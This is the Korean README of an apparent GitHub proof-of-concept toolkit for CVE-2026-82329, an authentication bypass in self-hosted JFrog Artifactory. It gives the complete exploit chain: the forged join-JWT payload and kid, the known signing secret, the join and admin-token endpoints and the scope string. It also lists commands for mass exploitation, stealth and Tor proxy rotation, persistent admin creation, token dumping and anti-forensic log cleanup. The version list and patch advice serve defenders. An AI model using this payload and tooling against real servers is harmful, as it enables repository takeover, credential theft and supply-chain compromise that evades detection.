
CVE‑2026‑82329 – JFrog Artifactory 인증 우회 툴킷

윤리적 사용만 허용 – 승인된 보안 테스트
이 저장소는 승인된 보안 전문가, 블루팀, 침투 테스터만을 위한 도구를 제공합니다.
컴퓨터 시스템에 대한 무단 접근은 CFAA(미국), Computer Misuse Act(영국), TCK 243/244(터키) 및 전 세계의 유사 법률에 따라 불법입니다.
취약점 개요
CVE‑2026‑82329는 자체 호스팅 JFrog Artifactory(버전 7.111.x부터 7.161.x까지)의 치명적인 인증 우회 취약점으로, 인증되지 않은 공격자가 JFrog Access 클러스터 조인 메커니즘을 악용하여 전체 플랫폼 관리자 토큰을 획득할 수 있게 합니다.
작동 방식
- 빈 조인 키 신뢰 – JFrog Access는 값이 빈 문자열인 유령 조인 키를 신뢰합니다. 따라서 서명 비밀은 결정론적 값
32 * 0x20(공백)입니다.
- 위조된 조인 JWT – 공격자는 이 알려진 비밀로 서명된 HS256 JWT와
kid = SHA256("")를 위조합니다.
- SERVICE 토큰 발급 –
POST /access/api/v1/registry/join이 인증 없이 scp=admin을 가진 SERVICE 토큰을 반환합니다.
- 관리자 토큰 교환 –
scope=applied-permissions/admin&audience=*와 함께 POST /access/api/v1/tokens를 호출하면 전체 플랫폼 관리자 토큰이 발급됩니다.
- 영향 – 전체 저장소 탈취, 토큰 도난, 관리자 사용자 생성, 아티팩트 오염, 공급망 공격, 연결된 서비스(Xray, Mission Control, Distribution)로의 측면 이동. 즉시 업그레이드하세요!
영향받는 버전
- 7.111.4 – 7.111.20 – 취약
- 7.117.0 – 7.117.27 – 취약
- 7.125.0 – 7.125.19 – 취약
- 7.133.0 – 7.133.28 – 취약
- 7.146.0 – 7.146.36 – 취약
- 7.161.0 – 7.161.19 – 취약
패치
- 7.111.21, 7.117.28, 7.125.20, 7.133.29, 7.146.38, 또는 7.161.20 이상으로 업그레이드하세요.
- 업그레이드가 불가능한 경우, Artifactory에 대한 네트워크 접근을 제한하고(인터넷에 노출하지 마세요) 임시 방편으로 모든 관리자 토큰을 교체하세요.
[>] 도구
| 도구 | 목적 | 대상 사용자 |
|---|
exploit.py | JWT 위조, 관리자 토큰 교환, 관리자 사용자 생성, 대량 스캔, 스텔스 모드, 프록시 로테이션, 대화형 메뉴, 전체 공격 체인을 갖춘 완전한 무기화 툴킷. | 레드팀 / 승인된 침투 테스터 |
safechecker.py | Artifactory 버전을 감지하고, 노출을 검증하며, 토큰 획득이나 페이로드 실행 없이 위험을 평가하는 비침투적 취약점 검사기. JSON 보고서를 생성합니다. | 블루팀 / 보안 감사자 |
<> 기능 비교
| 기능 | exploit.py | safechecker.py |
|---|
| 취약점 탐지 | [+] | [+] |
| 버전 탐지 | [+] | [+] |
| 위조된 조인 JWT | [+] | [-] |
| 서비스 토큰 발급 | [+] | [-] |
| 관리자 토큰 교환 | [+] | [-] |
| 관리자 사용자 생성 | [+] | [-] |
| 저장소 목록 | [+] | [-] |
| 사용자 목록 | [+] | [-] |
| 구성 덤프 | [+] | [-] |
| 토큰 덤프 | [+] | [-] |
| 전체 공격 체인 | [+] | [-] |
| 대화형 메뉴 | [+] | [-] |
| 대량 스캔(멀티스레드) | [+] | [+] |
| 프록시 지원 | [+] | [+] |
| 프록시 로테이션 | [+] | [-] |
| Tor 지원(익명성) | [+] | [-] |
| User‑Agent 로테이션(OPSEC) | [+] | [-] |
| 지터(OPSEC) | [+] | [-] |
| 적응형 속도 제한기 | [+] | [-] |
| 비침투적(안전) 모드 | [-] | [+] |
| 버전 보고서 | [+] | [+] |
| 익명 접근 확인 | [-] | [+] |
| JSON 보고서 | [+] | [+] |
| 로그 정리(안티 포렌식) | [+] | [-] |
| 사용자 정의 User‑Agent | [+] | [+] |
| SSL 검증 제어 | [+] | [+] |
사용 사례 요약
| 시나리오 | 권장 도구 |
|---|
| 블루팀 – Artifactory가 취약한지 확인 | safechecker.py |
| 보안 감사 – 비침투적 취약점 평가 | safechecker.py |
| 레드팀 – 전체 익스플로잇을 포함한 승인된 침투 테스트 | exploit.py |
| 버그 바운티 – 책임 있는 공개 테스트 | safechecker.py |
| 대량 스캔 – 여러 대상의 취약점 확인 | exploit.py(탐지만) |
| 사고 대응 – 시스템이 침해되었는지 확인 | safechecker.py |
설치
git clone https://github.com/tc4dy/CVE-2026-82329-PoC-Exploit
cd CVE-2026-82329-PoC-Exploit
pip install -r requirements.txt
requirements.txt
requests
urllib3
curl_cffi
[P] 매개변수
exploit.py 매개변수
| 매개변수 | 설명 |
|---|
-u, --url | 단일 대상 Artifactory URL(예: http://artifactory.example.com:8082) |
-f, --file | 대량 스캔을 위한 대상 목록이 포함된 파일(한 줄에 하나씩) |
--create-admin | 영구 관리자 사용자 생성(형식: USER:PASS) |
--keep-admin | 생성된 관리자 사용자 유지(스캔 후 정리하지 않음) |
--token-only | 관리자 토큰만 출력(단일 대상) |
--interactive | 익스플로잇 후 대화형 메뉴 |
--service-id | 조인 JWT용 서비스 ID(기본값: jfrt@01) |
-t, --threads | 다중 대상용 스레드 수(기본값: 10) |
--timeout | 요청 타임아웃(기본값: 25초) |
--retry | 최대 재시도 횟수(기본값: 3) |
--proxy | HTTP/HTTPS 프록시(예: http://127.0.0.1:8080) |
--proxy-list | 로테이션용 프록시가 포함된 파일(한 줄에 하나씩) |
--jitter | 요청 간 무작위 지터(0‑2초) |
--stealth | 스텔스 모드 활성화(UA 로테이션 + X‑Forwarded‑For) |
--curl-cffi | TLS 지문 위장을 위해 curl_cffi 사용 |
--full | 전체 공격: 모든 모듈 |
--dump-config | 시스템 구성 덤프 |
--dump-tokens | 모든 액세스 토큰 덤프 |
--list-repos | 저장소 목록 |
--list-users | 사용자 목록 |
--detect | 탐지만(관리자 토큰 교환 없음) |
--exploit | 전체 익스플로잇 수행 |
-o, --output | JSON 보고서를 파일로 저장 |
-v, --verbose | 상세 출력 |
-q, --quiet | 조용한 모드 |
safechecker.py 매개변수
| 매개변수 | 설명 |
|---|
-u, --url | 단일 대상 Artifactory URL(예: http://artifactory.example.com:8082) |
-f, --file | 대상 목록이 포함된 파일(한 줄에 하나씩) |
-t, --threads | 다중 대상용 스레드 수(기본값: 5) |
--timeout | 요청 타임아웃(기본값: 10초) |
-v, --verbose | 상세 출력 |
-o, --output | JSON 보고서를 파일로 저장 |
시나리오
| # | 시나리오 | 명령 |
|---|
| 1 | 빠른 취약점 확인 | python safechecker.py -u http://artifactory.example.com:8082 |
| 2 | 보고서를 포함한 상세 스캔 | python safechecker.py -u http://artifactory.example.com:8082 -o report.json -v |
| 3 | 파일에서 대량 감사 | python safechecker.py -f targets.txt -t 10 -o audit.json |
| 4 | 탐지만 하는 익스플로잇 | python exploit.py -u http://artifactory.example.com:8082 --detect |
| 5 | 관리자 토큰만 획득 | python exploit.py -u http://artifactory.example.com:8082 --token-only |
| 6 | 대화형 메뉴를 포함한 전체 공격 | python exploit.py -u http://artifactory.example.com:8082 --interactive |
| 7 | 영구 관리자 사용자 생성 | python exploit.py -u http://artifactory.example.com:8082 --create-admin evil:P@ssw0rd1 --keep-admin |
| 8 | 구성 덤프 | python exploit.py -u http://artifactory.example.com:8082 --dump-config |
| 9 | 저장소 및 사용자 목록 | python exploit.py -u http://artifactory.example.com:8082 --list-repos --list-users |
| 10 | 스텔스를 포함한 대량 익스플로잇 | python exploit.py -f targets.txt -t 20 --stealth --jitter --full -o results.json |
| 11 | Tor를 사용한 프록시 로테이션 | python exploit.py -f targets.txt --proxy-list proxies.txt --curl-cffi --stealth |
엔드포인트 및 익스플로잇 체인
익스플로잇은 다음 JFrog 엔드포인트와 익스플로잇 단계를 사용합니다:
| 단계 | 메서드 | 엔드포인트 | 설명 |
|---|
| 1. 조인 | POST | /access/api/v1/registry/join | 위조된 HS256 JWT → SERVICE 토큰(scp=admin) |
| 2. 교환 | POST | /access/api/v1/tokens | SERVICE 토큰 → 플랫폼 관리자 토큰 |
| 3. 증명 | GET | /artifactory/api/system/configuration | 관리자 전용 접근 증명 |
| 4. 지속 | PUT | /artifactory/api/security/users/{user} | 영구 관리자 사용자 생성 |
| 5. 폐기 | DELETE | /access/api/v1/tokens/{id} | 생성된 토큰 정리 |
페이로드 형식
# 위조된 조인 JWT 구조
{
"alg": "HS256",
"typ": "JWT"
}
{
"iat": <unix_timestamp>,
"service_id": "jfrt@01",
"kid": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
"skip_node_registration": true
}
# 서명 비밀
secret = b"\x20" * 32
# 관리자 토큰 요청
scope=applied-permissions/admin&audience=*&expires_in=0&refreshable=false
책임 있는 사용
- 소유하거나 명시적인 서면 허가를 받은 시스템에서만 이 도구를 사용하세요.
- 무단 접근은 불법이며 비윤리적입니다.
- 저자는 어떠한 오용에 대해서도 책임지지 않습니다.
- 항상 해당 국가의 법률과 규정을 준수하세요.
이 소프트웨어는 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다.